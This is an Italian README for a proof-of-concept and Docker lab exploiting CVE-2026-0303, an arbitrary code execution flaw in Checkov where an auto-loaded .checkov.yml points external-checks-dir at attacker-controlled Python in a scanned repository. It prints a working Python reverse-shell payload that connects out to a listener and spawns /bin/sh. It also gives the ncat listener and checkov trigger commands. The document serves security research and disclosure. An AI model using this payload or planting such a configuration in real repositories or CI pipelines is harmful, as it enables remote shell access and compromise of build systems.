
Proof-of-concept e laboratorio Docker per CVE-2026-0303, che dimostra l'esecuzione di codice arbitrario in Checkov tramite un file .checkov.yml caricato automaticamente che punta a un check esterno controllato dall'attaccante.
CVE: CVE-2026-0303 | CVSS Base: 6.3 | Gravità: Bassa
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Vulnerabilità di esecuzione di codice arbitrario in Checkov.
Pubblicata da Palo Alto Networks il 9 settembre 2026.
Versioni interessate: Checkov dalla 3.2.0 alla 3.2.531
Versione corretta: Checkov 3.2.532
Esecuzione di codice arbitrario in Checkov tramite un file .checkov.yml caricato automaticamente
-> esecuzione di codice Python controllato dall'attaccante tramite un controllo personalizzato esterno non firmato.
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov supporta controlli Python esterni. Questi controlli vengono intenzionalmente caricati come moduli Python, il che significa che le istruzioni Python di primo livello vengono eseguite durante l'importazione del modulo.
Quando Checkov analizza una directory, cerca automaticamente in quella directory un
file di configurazione .checkov.yml o .checkov.yaml; un file di configurazione
controllato dall'attaccante potrebbe impostare external-checks-dir su una
directory all'interno del repository analizzato.
Questo crea la seguente catena di esecuzione:
La vittima analizza un repository non attendibile
->
Checkov carica automaticamente .checkov.yml
->
La configurazione imposta external-checks-dir
->
Checkov importa un modulo Python controllato dall'attaccante
->
Il codice Python di primo livello viene eseguito con i privilegi di Checkov
L'attaccante non ha bisogno di sfruttare il parser Terraform né di fornire una policy Checkov valida. L'esecuzione del codice avviene quando Checkov importa il file Python.
Ciò è particolarmente rilevante per le pipeline CI che eseguono automaticamente Checkov su pull request o altri contenuti di repository non attendibili.
Il payload del laboratorio si connette dal container Checkov a un listener sull'host:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
Modificare il payload in exploit\external-checks\poc_check.py:
lhost = "127.0.0.1"
lport = 4444
Avviare un listener sull'host:
ncat -lvkp 4444
Attivare il comportamento vulnerabile analizzando la directory controllata dall'attaccante:
checkov -d /workspace --framework terraform --skip-download
Checkov legge automaticamente /workspace/.checkov.yml, individua la directory dei controlli
esterni e importa poc_check.py. Il listener dovrebbe ricevere la shell quando viene eseguita
la chiamata exploit() a livello di modulo.
Ho fornito un semplice laboratorio Docker che puoi configurare tramite
docker compose up -d
e a cui puoi connetterti alla sua shell tramite
docker exec -it scan-server /bin/sh
Questo repository contiene una proof of concept indipendente per CVE-2026-0303. La vulnerabilità è stata ricreata e testata in un ambiente di laboratorio isolato.
Questo progetto è destinato esclusivamente alla ricerca sulla sicurezza autorizzata, all'istruzione e ai test in ambienti isolati. Non utilizzarlo contro sistemi, reti, repository o dati senza esplicita autorizzazione del proprietario.
L'autore fornisce questo progetto così com'è, senza garanzie di alcun tipo, e non si assume alcuna responsabilità per danni, perdita di dati, interruzione del servizio, accesso non autorizzato o uso improprio di questo software o dei suoi derivati.